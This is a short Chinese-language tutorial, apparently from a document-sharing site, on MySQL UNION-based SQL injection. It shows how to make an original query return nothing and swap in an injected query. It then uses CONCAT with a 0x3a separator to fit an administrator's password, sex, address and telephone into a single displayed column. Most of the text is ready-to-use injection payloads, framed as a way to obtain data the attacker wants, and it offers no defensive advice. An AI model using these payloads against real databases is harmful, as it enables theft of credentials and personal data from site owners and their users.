Mysql数据库使用concat函数执行SQL注入查询.pdfVIP

SQL 注入语句有时候会使用替换查询技术，就是让原有的查询语句查不到结果出错， 而让自己构造的查询语句执行，并把执行结果代替原有查询语句查询结果显示出来。 例如：原本查询语句是 代码如下 : select username,email,content from test_table where user_id=uid; 其中 uid, 是用户输入的。正常显示结果会出现用户名，用户邮箱，用户留言内容。但是 如果 uid 过滤不严，我们可以构造如下 SQL 语句来获得任意数据表信息。 代码如下 : uid=-1 union select username ,password,content from test_talbe where user_id= 管理员 id; 实际执行就是 代码如下 : select username,email,content from test_table where user_id= － 1 union select username ,password,content from test_talbe where user_id= 管理员 id; 其中显示正常用户 emai 的地方，变成了显示管理员的密码了。 但是， 往往事情并不是这么简单， 首先要找到漏洞， 其次构造这种语句时候要考虑各个 字段的类型，让 int 或 samllint 类型的字段显示 varchar 显然不合适。最后就是本文要说的。 如果出现问题的 SQL 语句只有一个或两个字段怎么办，我们想知道很多东西，一两个 字段太少了，远远不能满足我们的需要。那么我们可以使用 concat 函数。 concat 函数本来是这样用的 SELECT CONCAT(My, S, QL); 执行结果是 MySQL 。也就 是连接作用的。我们利用它来为我们服务， 代码如下 : uid=-1 union select username ,concat(password,sex,address,telephone),content from test_talbe where user_id= 管理员 id; 这个语句实际查询了六个字段，但是显示的时候，把 password,sex,address,telephone 等 字段合在一起，显示在原本应该显示 email 的地方。 更好的方法：中间用分隔符分开： 代码如下 : uid=-1 union select username ,concat(password,0 × 3a,sex,0 × 3a,address,0 × 3a,telephone) ,content from test_talbe where user_id= 管理员 id; 其中 0 ×3a 是“ :”的十六进 制形式。 更多信息请查看 IT 技术专栏